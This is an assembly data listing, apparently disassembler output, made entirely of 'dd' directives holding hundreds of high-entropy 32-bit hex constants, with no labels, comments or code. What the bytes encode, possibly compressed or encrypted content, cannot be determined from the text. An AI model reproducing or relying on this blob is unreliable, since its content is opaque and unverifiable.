		dd 315AD189h, 830062AFh, 0BD815705h, 0F8040ED1h, 8F6D2AA8h
		dd 0EFC05A01h, 0BFF78007h, 0FD45B02Fh, 45BD8B90h, 4A839005h
		dd 0ED807640h, 0D3E828D8h, 6DEFA16Fh, 5FF98213h, 0ACE2FB52h
		dd 0E9A02FF7h, 7F6B1DEBh, 0AF87384Eh, 3826082Ah, 2228B709h
		dd 683CD321h, 0B5A00F34h, 0F5283B47h, 0D7068364h, 0C071FE81h
		dd 18A6063Ah, 9BBD34AAh, 580D042Dh, 0A22D9E68h,	0B8500F84h
		dd 15BBA07Fh, 0B11BE7E9h, 548271Ah, 0E5B8EB01h,	2925ED4Eh
		dd 0BE30F81h, 265ECE7Ah, 14136F50h, 5A58822Ch, 0F4F14452h
		dd 10C74061h, 240C1964h, 2020DF01h, 0DA1CC008h,	5B5AD82Bh
		dd 1889649Dh, 3F431FE9h, 69058CE2h, 0EA83590Ch,	63CAB305h
		dd 774D8282h, 6779A207h, 0B71C835Dh, 0CAA0C462h, 58839834h
		dd 2D37BC5Dh, 0F99C3DB0h, 0CC0E6182h, 4B52A624h, 3EE58D58h
		dd 0DF907144h, 512D7EF2h, 0E912933Eh, 3ECE066Ah, 0BE565700h
		dd 468A7E7Fh, 0E937BF00h, 0F72992ACh, 5980975Eh, 0C44F4ECFh
		dd 0C2F65898h, 2382211Eh, 7A65E95Fh, 5DE829EDh,	0CE0D3669h
		dd 249F5E35h, 56896CE2h, 0E916C544h, 0ED9D20FEh, 0E60A9A15h
		dd 0E6285B01h, 38D66CEEh, 76E75C0Bh, 5EBD40B9h,	9CC49E5Ch
		dd 5D01B609h, 3F86685Ah, 0C9F1C391h, 5BF74464h,	2F7EF2E1h
		dd 2FFB585Eh, 187313F8h, 0BE1EACBDh, 0AF3E644h,	0F4851658h
		dd 6CA0C8C7h, 765B610Eh, 79C03243h, 0F9AF1EBh, 0DA895825h
		dd 74D6A4D2h, 0A4375Ah,	0F073985Dh, 43D12719h, 2B80B442h
		dd 9A20B7Dh, 1ED8316h, 7C2C5300h, 32E97134h, 3576E225h
		dd 8D028241h, 0D1B84EE0h, 485A913Ah, 48CA2B0Fh,	624A5D2Dh
		dd 0D426BF4h, 0BDBA009Eh, 6690437Eh, 7C51320h, 0EAD0DAB2h
		dd 285E2280h, 0E9B33963h, 0BAC60212h, 270A0453h, 4045A954h
		dd 4C069196h, 9489F308h, 6B03FB00h, 0E9123024h,	91B72853h
		dd 3E36294Eh, 0CFB17124h, 0A6DF917Ah, 0B2BD55CCh, 0AB4510D6h
		dd 64E53502h, 5739CFh, 45A2970h, 4D960F7h, 3ED4E981h, 0A543DF3Ah
		dd 99868B34h, 388355A8h, 191429D7h, 20C0E1E2h, 3A12E4F1h
		dd 47242285h, 0B45184B4h, 50D17281h, 0A3F40DB5h, 16A825E9h
		dd 0B1420B71h, 61AF819Dh, 62D1B92Ch, 0E5FCF554h, 563F1AD4h
		dd 44B4DD26h, 8BC8E2EFh, 0E9170121h, 4280EECBh,	685BDE88h
		dd 58BE691Eh, 2F8D3865h, 921EB6FCh, 0DDF52098h,	11CD8102h
		dd 7C319770h, 0B9061E9Fh, 0FDFDFB94h, 18EB4871h, 90E7562Ah
		dd 22333D2Ch, 61D22E25h, 0B5C88B5h, 9F121B25h, 0D821F6C9h
		dd 68E6F9F7h, 6E629D2Dh, 80B2731Ch, 4600162Dh, 1805599Ah
		dd 0EA4F3227h, 1B651706h, 80A5B23Ah, 187DE7BBh,	0C2A6B060h
		dd 42305952h, 7FD4A0F5h, 48DFC4DCh, 0E648D709h,	206D6C14h
		dd 96409D9Eh, 1252080Fh, 0E651660Eh, 30E18C0h, 327807BEh
		dd 89DA4E47h, 63B5FA50h, 677405DEh, 0BE292302h,	69ED0125h
		dd 92F4FC93h, 985A91B8h, 0BA4BE5D3h, 0CA4A80A7h, 3F875016h
		dd 2E5B7CBh, 2021F169h,	5BF58FEDh, 3727B17Bh, 977DC4FCh
		dd 3E598AB8h, 195EC59Fh, 325B245Ch, 57A31093h, 482D6662h
		dd 0CE6C0009h, 606E3F2Eh, 0C0F2AC0Ch, 0E925F9C7h, 0AE3EAC2h
		dd 8F24ECB1h, 2534152Dh, 0C592E39Ch, 2501B030h,	2C15D7F2h
		dd 3D563FAh, 34477730h,	80DC2E0h, 89438812h, 0E24AF4B2h
		dd 0D05CB3EAh, 2714F4EEh, 88F27345h, 0BE960882h, 74E36D1h
		dd 0E46126BBh, 940FF139h, 0E04EE7F7h, 0A497F291h, 23C0F955h
		dd 76512CEEh, 7A9DFE1Ah, 0B77F5C6Eh, 9F6AC07Eh,	58650919h
		dd 61060551h, 0A0817814h, 27429068h, 0F8E17E17h, 97273A01h
		dd 0F7DE8760h, 0E908C2D3h, 446CC35h, 5B3C5C5Dh,	5A225168h
		dd 2806DCDBh, 7066E325h, 6A465E9h, 108DF863h, 28129B4Ch
		dd 206112F8h, 7E6CF3FDh, 5A180B2Dh, 5D9F2FCAh, 0BA08DBC5h
		dd 0DDA53C25h, 0A93B88A4h, 1BF70553h, 0C261B7h,	0D8B07880h
		dd 593DB2DAh, 30A46228h, 1BFDAC26h, 0AB264581h,	52B8961h
		dd 13BC1Bh, 0B52E7674h,	332EFF49h, 0A02F0F59h, 0C714EEC8h
		dd 827D5ABBh, 1FE029A4h, 56D7BC62h, 787C85B4h, 0B14F3E3h
		dd 9CA3EC59h, 20BA8BB7h, 5E16F058h, 4509A5F3h, 0A9F06661h
		dd 377B574Dh, 44619B0Fh, 33ED30FEh, 0E7471995h,	0E288278Eh
		dd 585AD742h, 0E68698DCh, 3EE15BE9h, 135E5159h,	68C6C013h
		dd 71993E9Ch, 2EC502BCh, 0D65B40A0h, 0E7E91DB0h, 2B649F09h
		dd 5854AAF4h, 5348D1B6h, 0EB5A2D22h, 61B9FF2Eh,	0DF7B592Dh
		dd 33E9094Fh, 0B76E44CEh, 28738CB2h, 1D08908h, 2070EE80h
		dd 970F7EF5h, 0D4E52750h, 0E9EAC5C0h, 8868BF30h, 0C0EF045Bh
		dd 0C8F72CF0h, 0B70B5398h, 6065E9B3h, 58C15DA0h, 18736CEFh
		dd 0A9A5281Fh, 0E8243C98h, 0E994CC11h, 5D5F2808h, 0D6691096h
		dd 7ED2D20Ah, 3EF93F55h, 225875CBh, 82D7B9B5h, 5FB4E9F1h
		dd 69C77DA0h, 0E09DCC3Bh, 2E8E77CDh, 1390DD8Fh,	3F042D5Fh
		dd 4194B5DCh, 6C002F9Ch, 2402F581h, 0E74A5913h,	0C2B4C84Ch
		dd 1AFEEA05h, 0F44B06E8h, 0CB276268h, 4208AB0Ah, 0EE880B02h
		dd 8AC04A09h, 62B8D787h, 4B19A230h, 1C046CC3h, 0C0507957h
		dd 1D73B0BFh, 0E2C04F11h, 463A53E5h, 97532E9h, 0EE25C32h
		dd 5797DF45h, 6620DE02h, 0CFEE407Fh, 0A6525059h, 0A4628C4h
		dd 0F0F24B8Ah, 352FBABEh, 1965008h, 7B6653A9h, 2E4158E9h
		dd 63AFF724h, 58B9EEDBh, 548A8B2Bh, 93767CA1h, 42704192h
		dd 8207E2C1h, 0FD6E4D52h, 0D049C31Eh, 9C24B52Bh, 96F439D9h
		dd 7FDC52DBh, 9F40A245h, 8B1F5E05h, 9545BD03h, 26587988h
		dd 75D0401Bh, 31F056B6h, 666B599Eh, 6AFE828Ah, 741EFF03h
		dd 96AF0B9Dh, 4A68716Ah, 132CA361h, 0BDA30A6Ch,	0BA9A0618h
		dd 0DE50F75Bh
		dd 0B19A1CBh, 39781DB6h, 0F3BD0104h, 20855430h,	0C695DF38h
		dd 94C1A0B2h, 713D2866h, 344B48ABh, 5FA68B80h, 0E4BF8985h
		dd 587342E1h, 0F954A3F2h, 8A2F171Ah, 0C1207CEEh, 3D9E95Bh
		dd 77A4F040h, 31142787h, 8255AF8h, 0A1EBA0B0h, 3E84ACFBh
		dd 0B196DF29h, 5FD6549Dh, 8D381E13h, 913FFFB8h,	5BD34C89h
		dd 0F9BF9309h, 2973A7C4h, 0C997CE28h, 1BB01C5Eh, 8F522176h
		dd 0E3C11514h, 8901738Bh, 0E9366873h, 298B02A7h, 8ED8CFB7h
		dd 0FE20E71Dh, 8EC799FAh, 0F7EC6B10h, 8100B07Dh, 722B2DD5h
		dd 2A56D22Bh, 2E970D88h, 43C85823h, 712C5B80h, 0C9DA4B04h
		dd 12531C3h, 52133B5h, 5F115338h, 8ACD24A4h, 4B35C492h
		dd 0B4A331EFh, 31C61057h, 0B0B6722Ch, 0A48E4A97h, 0EDEEF049h
		dd 0DB2C95Ah, 0BE8C183h, 2EB510F9h, 0B4F5297h, 0EEC3C801h
		dd 854B1EB6h, 3225CD08h, 988608Bh, 81C35B4Ch, 444A5331h
		dd 0E23D6920h, 24B98AEh, 1F4992CEh, 0DAE24E37h,	9B61D40Eh
		dd 2B0B7FFDh, 8B6D161Fh, 5020D614h, 4495E58Eh, 238895A2h
		dd 0AC6B1798h, 79009C2Eh, 0B8504234h, 383A1252h, 0EC0F011Ch
		dd 704CF521h, 6C180755h, 460C0179h, 77570B68h, 0FEC088E9h
		dd 0CC0FB450h, 6976EC80h, 5EFE25C4h, 545CB745h,	0EA0E4804h
		dd 79FC6802h, 0A4201EC7h, 7FD92EFDh, 0B62A06FDh, 71355AD2h
		dd 652D5E90h, 917676F3h, 820817DCh, 194554DCh, 0CBA5280h
		dd 982D1E3Ah, 64D101D2h, 12E96DEDh, 43376B97h, 0D6BAE192h
		dd 33A5BF5Dh, 242000A0h, 21F63CADh, 0B2978D95h,	0CCA29D2Eh
		dd 0C4B855E2h, 0DB34544Ah, 0A268DC03h, 92F7753Ah, 0D0012C6Fh
		dd 710B024Dh, 4CC01451h, 98251FDBh, 6C7259h, 334E7BC7h
		dd 5FF82988h, 0A691C7BDh, 685240FAh, 0C327438Fh, 0E98C1836h
		dd 16185D96h, 317BCBA4h, 1F07CA50h, 195BBD00h, 45246B1Eh
		dd 0C581D2D6h, 0E242CF87h, 0B45105B8h, 3F4B4194h, 1E5111B2h
		dd 81BF8813h, 0BBDCE437h, 5B1B1236h, 7F3301AEh,	6B18455Fh
		dd 802AB94h, 0DCC823E9h, 0FD7288BFh, 59AB582Fh,	6617965Fh
		dd 0D3CCB03Bh, 3A129469h, 26B17D89h, 0C6137D50h, 0A036D4FDh
		dd 10FC32Ch, 0EDC10B2Fh, 20D5F707h, 5E32243Eh, 0EB282C16h
		dd 0BA67C72Eh, 5CF7388Ch, 0C60778DDh, 0D5D31F57h, 0F04C9450h
		dd 7009E3D9h, 438002h, 760FA0FCh, 69E9265Dh, 60E5A143h
		dd 652B6856h, 6E4A382Ch, 0F27EE0Dh, 9F3127Eh, 577C02EDh
		dd 68F5E962h, 0EEE3080Bh, 71575AE8h, 2BEB8384h,	0B0D21C24h
		dd 16EBCC58h, 8C1AD168h, 3E406F94h, 0DF6525E9h,	432BF848h
		dd 8802411Ch, 0B6645A96h, 0C252CE84h, 90D8EFD8h, 2144413Fh
		dd 472BDD3Dh, 4D5BB2B4h, 112CC9F1h, 5D9094A0h, 8F78CD24h
		dd 535DFD00h, 64874F76h, 0D864EFh, 94564DBAh, 0EA811854h
		dd 0D1890D49h, 72BCE92Fh, 0EDE28133h, 0B7C8506Ah, 0D308ACB5h
		dd 14A74408h, 74D8B1BDh, 0AEB42AF4h, 347D8CE9h,	6EA2419Eh
		dd 186B1C61h, 50171F77h, 4087EDB1h, 80BF9996h, 0B742524h
		dd 6E6B7A81h, 0AEFD5DF6h, 34644FBFh, 0F06FF5FBh, 0F991374Bh
		dd 600E10A8h, 0C079EF52h, 0A62E34F6h, 0F1892443h, 22C50954h
		dd 9980C6DCh, 1643B18h,	0BCD4BA7Ch, 0E76850D2h,	0D2C1704Ch
		dd 4A2D9F00h, 76E958E5h, 0CF2FB598h, 5F2C0F6h, 41167D78h
		dd 3245944h, 4D06D9DCh,	40C4F393h, 163C493Fh, 334CBDCBh
		dd 4B4CC49Dh, 4882CB5Ch, 70B3B4F9h, 0C29F0120h,	0A7E5DE42h
		dd 0D325C253h, 56FE17B3h, 0C412A3A0h, 0DBBC2FE9h, 3A405A25h
		dd 4D5E533Eh, 1E3047C9h, 67899F28h, 545A78FCh, 0B720BF89h
		dd 12F43505h, 8EC5517Dh, 0F241125Fh, 8006EFC0h,	68287CDh
		dd 5BFE288Ah, 3405CE2h,	7EE5F588h, 316D8606h, 7C37DADh
		dd 0E58076B5h, 8AC530DAh, 509EDC0h, 0D675DC68h,	0AC1E6490h
		dd 0C32982C4h, 261B5D58h, 55CC7AF1h, 21C8D1DCh,	68D98492h
		dd 4CE9441Eh, 35E835B1h, 1654BC91h, 0DFF45773h,	8E7F1733h
		dd 94A0146h, 401AAC7Bh,	53B97FBh, 0E340EAEDh, 5F81D087h
		dd 0A69961FAh, 726E922Bh, 81340BDDh, 30B4EF56h,	0F120046Ch
		dd 0B77646BDh, 0F12B1E85h, 0DDCEDDF0h, 5469EA7Bh, 8CBB8156h
		dd 5B656830h, 7044961h,	9EDE8CC3h, 816D6ED0h, 6FC6C2D8h
		dd 0A077F72Fh, 0C420C100h, 12496930h, 0B6270543h, 68738161h
		dd 252E2CBDh, 97520157h, 0E40A6F30h, 31645DE8h,	0FFECFE36h
		dd 0EC24582Fh, 3C36A123h, 5B54C3F6h, 9E440550h,	8447FB77h
		dd 7804FA44h, 80034804h, 604ECC7h, 5BF82845h, 0A46C67BEh
		dd 611680D8h, 0EC03ED80h, 0D0F6C586h, 0FE9A030h, 0C7B7A896h
		dd 0B05001FEh, 34E42C7Ch, 2B45FD49h, 5054BB0Bh,	3B9F413Fh
		dd 496F686h, 8C90DE5h, 0E0BFC34Dh, 3BC60F55h, 8755CB32h
		dd 6340CAFBh, 10D2F767h, 24A30EE9h, 3309895Bh, 0D1E41A5Ah
		dd 0BF08CCD8h, 0F774C50Bh, 19D1E061h, 0E40C4B22h, 643F29C7h
		dd 8E085054h, 75697E16h, 4E425B8h, 184470DCh, 82EC91E0h
		dd 9011F887h, 3F6848BBh, 0BE85D53h, 0A09093E9h,	97DAA240h
		dd 938F971Ch, 0CD1DE7A4h, 40D46877h, 58BBA79Bh,	0CAEA59ADh
		dd 0C3F22F48h, 4830E92Dh, 9044F6F5h, 0D1FD05CEh, 80D6F7E6h
		dd 0EC464806h, 17207441h, 0C7B0581Bh, 2E22F209h, 0D0D8E285h
		dd 3B7B0579h, 2564CA3Dh, 9E6358B7h, 3309C910h, 1F20C2C4h
		dd 0E52BFBB5h, 0C4C802E0h, 1644165Fh, 46EEFBE9h, 345EF58Bh
		dd 0E4215D25h, 20DC94E0h, 3E6100FFh, 0CA814E76h, 3D076FB4h
		dd 6E2C155h, 7182EA35h,	0FD0460F2h, 53C29F0Dh, 913D6557h
		dd 535E1D68h, 66C7CDCBh, 0FC26219Fh, 3EB82813h,	5C39EAB2h
		dd 0E937202Fh, 3D033356h, 0D28E635h, 58C5F127h,	1120AA60h
		dd 173F3130h, 0B2ED5F08h, 277D880Fh, 0C511777Fh, 880C2744h
		dd 5D4F21A0h, 4EBE4D4h,	9F4A450h, 5E295FBEh, 0D6C36522h
		dd 0C300730Fh, 62DA150Ah, 8A4F5E5Fh, 53E83B37h,	0C6571092h
		dd 4F88913h, 9CE4669h, 49F85C5Ah, 97BFB7FEh, 865FC4E6h
		dd 17439CE2h, 13C8EC29h, 0CFF052F7h, 4AFA7D01h,	11716C7h
		dd 0FF685E80h, 0FDCC6E13h, 0F3EF3A98h, 5D122D80h, 0F8296D32h
		dd 0CE8AAEB8h, 1AA703F9h, 6377FEE0h, 0B34BCCD3h, 95BCA9E0h
		dd 0AAC04384h, 45DF5FC3h, 1A30852Dh, 0D423BA4Ch, 0E2068A26h
		dd 5801D71Ch, 0C1679609h, 23F70431h, 0D582530Bh, 405FB8Dh
		dd 2CD8B5C1h, 0E51625D3h, 31C5D371h, 5ADF9F1Dh,	0F43648A7h
		dd 6A149C36h, 0EF91743Ah, 2B99E90Bh, 0C1C95952h, 643C17E9h
		dd 6F433A2Dh, 0B39AB400h, 10B15119h, 1C09C058h,	0C199C9FEh
		dd 0C9718008h, 0DC2C05EDh, 4D79532Fh, 5E247042h, 0EF2C645Eh
		dd 0C86F512Dh, 0E1D25D19h, 110AD906h, 1AC704E1h, 0C06B0C40h
		dd 0B2D9CCAh, 0E107B8B0h, 31FA1FE5h, 177FC960h,	0A351580Dh
		dd 713340Fh, 0FA0C0137h, 80354771h, 0CB0CCF24h,	4E3B684Ch
		dd 2448A33Fh, 13146AFDh, 125D39E3h, 0E8ACCDEEh,	0A084A896h
		dd 71BB7106h, 67562768h, 0DFD4B92h, 853F1D30h, 1F8CF966h
		dd 450105C6h, 234BE969h, 1CF73598h, 0D18E8C1h, 3ABE1868h
		dd 48A72D04h, 3E08A0A8h, 382E8F98h, 5A00CABBh, 0CB81580Dh
		dd 4224C0h, 68565738h, 39E34B75h, 0A15E58h, 43C41865h
		dd 30E9EE09h, 0DED7F17Eh, 504E8E68h, 0F32658B3h, 0E3E7167Ah
		dd 135C4C56h, 899CF4C4h, 505B48DAh, 1CB23E18h, 2C3CF028h
		dd 0C840939Dh, 5A8994A8h
		dd 1FA14ED8h, 0BD3C8005h, 7395196Bh, 7CCD0581h,	807EC169h
		dd 322ACEF0h, 0C2A209F2h, 61ABD800h, 0D6F04D9Ch, 98595640h
		dd 403A5BCBh, 2C707748h, 0E3018146h, 7CEA72FCh,	8A28A5E9h
		dd 8293562Ch, 7EEC15Eh,	6FACC360h, 0C3518F2Fh, 39E9C9CAh
		dd 385BC924h, 0F01D0F2Ch, 85722E04h, 0A430BE68h, 0D283D933h
		dd 64B077F7h, 1ADD8F6Bh, 128CB449h, 436276B7h, 0D5F7F331h
		dd 0A8AD35ABh, 0D5E116D7h, 7224B789h, 2DAB9854h, 82E606EBh
		dd 1B0B2D96h, 4F93FC19h, 122E5F04h, 5F96A854h, 0F2593FE4h
		dd 76F195FEh, 6041E98Bh, 46B247h, 0FE58E228h, 0CFB450C2h
		dd 0D64181FEh, 804FA01h, 6FC62178h, 0B9051CD2h,	21982309h
		dd 78AED001h, 5C3A6A9Dh, 1153C245h, 8FE143A4h, 10D9644h
		dd 25E9CAA4h, 11D9C547h, 26B75304h, 139922C6h, 3ADE280h
		dd 0CBFE84C9h, 0AA4AEBC3h, 0FE49183h, 0DFEF2D95h, 3256FEABh
		dd 24920308h, 6458251Fh, 76FEA986h, 5DBE654h, 0A2A01E5Ch
		dd 677A405Fh, 27BB9738h, 3DD8E8DAh, 480F3FB8h, 8B1AB291h
		dd 573A4DAh, 5B1691BAh,	807C2C01h, 0C8B70F5Ch, 4B1A3168h
		dd 6A3D594Dh, 895F6090h, 924CF4F1h, 505A4BC7h, 9624BCEAh
		dd 0F75B6412h, 0E91C0E15h, 0A3D533B6h, 0BA7F52BFh, 3DBCB612h
		dd 0CCE9C2A7h, 40BE81A3h, 4EE1504Ah, 4829CBF1h,	4691F602h
		dd 496B2364h, 0ABE9FB98h, 545D535Fh, 5BC5AFD7h,	0ECA325ACh
		dd 3328EEB4h, 882482D3h, 0B6E3BC54h, 835D20E5h,	0E115E92Dh
		dd 85D9ADBBh, 0F7A1417Eh, 31421027h, 813861F4h,	0EC04D17Ch
		dd 54DA2920h, 8258820h,	68E80101h, 326B1AC0h, 3972791Ch
		dd 39B8BF06h, 3C5C6366h, 4C3B4746h, 392DE724h, 0CF00AACCh
		dd 0A2255C5h, 0C8B7D7F7h, 907FD14h, 0FA29AE4Dh,	405D102h
		dd 0A221C02Ch, 4F04F5CFh, 6C09130Fh, 18EE825Dh,	0DE084131h
		dd 0F24FE578h, 9021979Ch, 5802A11Bh, 0B1615A62h, 82F855BBh
		dd 56FB2C69h, 223CE961h, 4B77E22Ah, 0B5D263F2h,	1052645Fh
		dd 796FD869h, 0C368C173h, 9BE62E40h, 0B10C3D0Ah, 77FD8FCEh
		dd 80573629h, 0F184436Eh, 27897CC9h, 750972E9h,	0B92885FBh
		dd 0FC149Fh, 28279568h,	0E9555914h, 848A5E24h, 47825864h
		dd 0B0EC468Eh, 1BB27DCh, 0E90CCFC5h, 2E800D12h,	4EA9AC6h
		dd 0BACEFE08h, 0E9931FC0h, 2FAC9E8Eh, 57031E46h, 62809768h
		dd 5F772637h, 0A2EF09D1h, 76FA2954h, 84E942A2h,	5B09A07Ch
		dd 69845F89h, 0F40D19Ch, 0B1A38C6Ch, 0B75C1499h, 3A308DE1h
		dd 51A6A103h, 97C88C48h, 5B64B2C9h, 5062CB89h, 0BE27E97Fh
		dd 680EE81Bh, 3246241Ch, 162D0B24h, 5C642FF1h, 0F14CEDA7h
		dd 5BBBAC4Bh, 3875F534h, 0B11A44B8h, 0C4814E6Eh, 816055A5h
		dd 0C454EB0Ch, 5738BC64h, 6B3FF15Bh, 2FE92244h,	3DF81FD4h
		dd 506249D3h, 0DFBC2879h, 0E9C24DB2h, 49F6DE60h, 4F136841h
		dd 3CB1B8Ch, 0D572880Ah, 1876C16h, 17938FE2h, 0BA46000Ch
		dd 3F03496Fh, 29F28100h, 163852Ah, 0BFE913D6h, 47F2A450h
		dd 0CDC3812h, 0C405C30Fh, 3500FD69h, 27886772h,	52E2E4A2h
		dd 0FB6B89DFh, 0B6BF4016h, 6EED3430h, 9D01DB85h, 0BC429F4h
		dd 6AFF0C82h, 356019D1h, 80F1EF83h, 94042816h, 4DE951DCh
		dd 0C75A604Eh, 0BD7485B6h, 0F4E02EAAh, 0BB5DC103h, 4EDA13Dh
		dd 195806A5h, 0C87C8B0Bh, 0CD43E03Ah, 396C1FBAh, 0D6F58233h
		dd 0C4E8BC40h, 0B6281F0Dh, 7E18F13Ah, 0C5188E5Eh, 0A16F06DCh
		dd 50DD2918h, 43610882h, 772D02A2h, 5A928129h, 3056C949h
		dd 60077316h, 0C14F622Dh, 0E26782A9h, 5E22774Ah, 0C380D2F7h
		dd 0DC33F9C4h, 4BC0E197h, 5E990B2Ah, 0C5710454h, 995B1978h
		dd 0EB42054h, 0E9BCE980h, 0CAD9EC38h, 6EB33A02h, 0B30E6D2h
		dd 5C256C68h, 474BE270h, 952475Dh, 20DB4F32h, 810D1FA7h
		dd 5F42460Ah, 684DF168h, 0A4D0DE07h, 0C02D5E00h, 5207614h
		dd 0F2299526h, 8011D82Dh, 9F30E907h, 5451FB82h,	4E867F4Ch
		dd 2DA2BA04h, 26A87EF4h, 35265309h, 0CE078D78h,	59D6181Dh
		dd 0E374E663h, 7DE9F178h, 7A052274h, 7C5B3EAAh,	37214084h
		dd 0C87FCh, 162FB38h, 0BDE9C509h, 0CB715C28h, 5D546290h
		dd 49FB6812h, 3EA9060h,	0B4165891h, 63E5204h, 29828032h
		dd 4560404Dh, 392FD30Ch, 5E24C053h, 0E9F2F3A7h,	8742A626h
		dd 0F187BC4Fh, 80797479h, 5E6AF44Ah, 7868143Eh,	4DD4EA20h
		dd 1326C004h, 4C328052h, 1E4B7161h, 68428E1h, 0A13EE902h
		dd 47C96E56h, 0EC1862ECh, 4E5DFE42h, 7926D1B3h,	0F2A574C0h
		dd 0A71D1009h, 6CA55D24h, 52DBF8C2h, 908B607h, 0DCE932B6h
		dd 0B4574129h, 0E9FA125Dh, 4815F8DAh, 506ACBB3h, 0EA8AB7DBh
		dd 71C1002Dh, 0E0D12F2Dh, 0B180D03h, 0ADE97793h, 1C5AAF93h
		dd 3E835EB4h, 0B8F9AD0h, 292ED50Ch, 8808F58h, 2A5259E9h
		dd 0CB067F38h, 7FE36986h, 23BE0F3Ah, 409E6C26h,	0C486BD2h
		dd 8097C383h, 7C3C8002h, 0D92925DFh, 0E92A6F16h, 5195D20Ch
		dd 4E9371h, 827697C6h, 0F72FE93Eh, 0C58FA487h, 247558FBh
		dd 113DC9BDh, 69030076h, 0F02961AFh, 5E07A105h,	52ABF5DAh
		dd 0E8D31204h, 495A8A7Fh, 82D6A53Eh, 86F021E6h,	900ECFB2h
		dd 3D07485Fh, 6683FC04h, 27B11388h, 0D22F772Eh,	9F748961h
		dd 0B0071783h, 0E95DB346h, 753EAC62h, 0D8C30157h, 2B0A0B14h
		dd 0C0E9DCC1h, 824CDDA7h, 615697A9h, 7AA7A5FBh,	970AF02Ah
		dd 879F0F7Bh, 800A59ADh, 0B0506645h, 5127E9EAh,	1FD313AAh
		dd 49E1F65Fh, 967E398Dh, 0C7321C91h, 3EE6BF2Fh,	9A5FFB2Dh
		dd 0F5608AD6h, 0DC13CE48h, 8EC9D1F8h, 0BE215E24h, 7E9A355Eh
		dd 429C5C6Bh, 30D7EE28h, 81DF0A8Bh, 91C56B5Bh, 80825BACh
		dd 47D14AF1h, 4FEC3D39h, 0FCB19F0h, 85B15159h, 41AC5605h
		dd 0C0B9B545h, 72F020E5h, 95A21D5Fh, 0E4E1984Ah, 0C1FCC84Ah
		dd 61A968B0h, 987445B5h, 43822858h, 150C61Dh, 882C6A8h
		dd 8E6A64EAh, 2F02640h,	0C4FDE26h, 21FD1400h, 98D701B0h
		dd 0F4A65B9Fh, 0E678A0Ah, 838BF06Fh, 4F273905h,	46F7B012h
		dd 0A5C8455Fh, 66C21C68h, 2D3C33A4h, 5A4D8A8Dh,	0E1D30DA6h
		dd 8F982E02h, 0C1FE40CCh, 68280BECh, 829738B7h,	469BB499h
		dd 4B1FA390h, 0A30CFB1h, 3F4E9B68h, 7CBB5492h, 9B9E367Ch
		dd 0CE04F328h, 49431188h, 1F876CECh, 0E5898B65h, 0E91822D5h
		dd 0CC93DFE3h, 136411A0h, 0AF4D2EBAh, 3E5756DBh, 84F11954h
		dd 0DF215318h, 3CC0ADEh, 1428748Eh, 733B7C05h, 8D807E7Ch
		dd 4C4F7543h, 0A506B278h, 6E213915h, 76621E0Bh,	0C23DE268h
		dd 0AD166070h, 30B58088h, 5EFC284Bh, 68D80A70h,	6A870869h
		dd 807C005Ah, 2AE9B4C1h, 0F801B6A8h, 0B24CF9B8h, 3BE1812Ah
		dd 0D9EC19B1h, 0D8EFB6D1h, 0E7B48428h, 7498766Bh, 202CC49Dh
		dd 4903146h, 408ACAB5h,	3E2736B9h, 44136347h, 0CF6B4F8Dh
		dd 540B3E6Eh, 7F32D901h, 25732CCEh, 49FED65Fh, 0F6074F58h
		dd 57C280D2h, 48B09FA2h, 13E05F4h, 29111907h, 40BD55E8h
		dd 3C03E908h, 488389AAh, 0F5A18B5h, 0A3C7A300h,	0B207F39Dh
		dd 0A89580E1h, 57DE2F14h, 0F105B47Ah, 37B67A54h, 5F3184D0h
		dd 9776FC47h, 0D202BB09h, 9514AE7Ah, 8FA97AEEh,	0BBCB827Ch
		dd 41FD4B3Dh, 0B041EB52h, 75606FE1h, 6AF8955Bh,	8BDEE912h
		dd 1DB24A41h, 4B7AD030h, 4062479Ch, 0B2A1B455h,	783294A3h
		dd 25BDCAE9h, 83B8C432h
		dd 0A9AB8A84h, 4A790C7h, 3DC76A86h, 0C50339ECh,	0C9E565Bh
		dd 1D280C48h, 0D0166E22h, 1EE3A384h, 124B334Ch,	48A7E7CBh
		dd 37680A9Ah, 56935E0Ch, 287129ABh, 0AE6A5EDh, 5925C521h
		dd 49E0A713h, 0AF83C215h, 5FFA82C4h, 60712B7h, 2D266620h
		dd 0DB5FFA2Dh, 3C520B5Ch, 0E7880759h, 0C8F82DF8h, 0BC11BD0Eh
		dd 4070DF55h, 256854B0h, 299580Fh, 5BDDD4CBh, 0F49ACD9Ch
		dd 5FAE429Fh, 8A76F12Ch, 5D6A2305h, 9CE8E929h, 2D7A0B90h
		dd 0CAF1DAF3h, 50A56925h, 7100E42Dh, 0E918E859h, 0CEB5235Bh
		dd 8402B998h, 0BEFCA0E9h, 96C35024h, 711B122Ah,	9F71EC81h
		dd 67175F7Ah, 8A5ABE8Ah, 286460A7h, 903A1A31h, 422D09E2h
		dd 368552FEh, 3E74EB15h, 0E91230EBh, 699791C8h,	92EE0A2h
		dd 1B785910h, 51BB81B7h, 0EDD88AB5h, 0FEE7E19Dh, 0B7FA7018h
		dd 0B3C48DE3h, 51D92F7Fh, 41A76395h, 2AE21703h,	0B04BF81Dh
		dd 43EE1F2h, 0F5E92B28h, 196D595h, 4F393D43h, 9BDCF003h
		dd 26809DB6h, 1146A6Fh,	8CCAF1EAh, 13201C08h, 120FAD78h
		dd 9A73C4BBh, 90FC4B99h, 954F85F4h, 0D0B0A96Fh,	797004B6h
		dd 1DBF6F57h, 2988D3E3h, 6F92ED38h, 4BE4912h, 171EF8B7h
		dd 22278FECh, 5F688101h, 29319338h, 0DCE2D356h,	47B45000h
		dd 0E530A1B5h, 31776BEh, 48402BC0h, 9A9E0F05h, 6386E787h
		dd 0B71E180Bh, 0F25C8071h, 7C67C7C9h, 0D0D91275h, 6834C970h
		dd 0F73C4707h, 401F41D1h, 77251BF1h, 9D11B055h,	2AB0DD80h
		dd 84F2C0FEh, 0AC0B9C9Eh, 0C6790230h, 604297Fh,	0C5F7F254h
		dd 0FAECC547h, 4C7FA2D2h, 2DD6B660h, 0D0F12F2Eh, 2D8E1B88h
		dd 0DF49E5D8h, 9B5E264Bh, 13F613E3h, 354C0118h,	92A5B2B3h
		dd 279D8708h, 3B498762h, 1216149h, 0B84AAF82h, 0E2730792h
		dd 51B929B5h, 0BA17089Fh, 5EE5C109h, 500B0AF7h,	2ED28C0h
		dd 45B6CF8Eh, 9F8AEB01h, 521EA75Ch, 8DB4084Ah, 5A7F4080h
		dd 0BE81E192h, 0AB835785h, 50E9011h, 36128E01h,	0C820C68h
		dd 0BAC3E194h, 5B14835Eh, 0BF80B4C1h, 90C17840h, 82195F65h
		dd 576258A9h, 0B7D19C5Fh, 0E9F2E7B8h, 7C36E849h, 3C6A2E05h
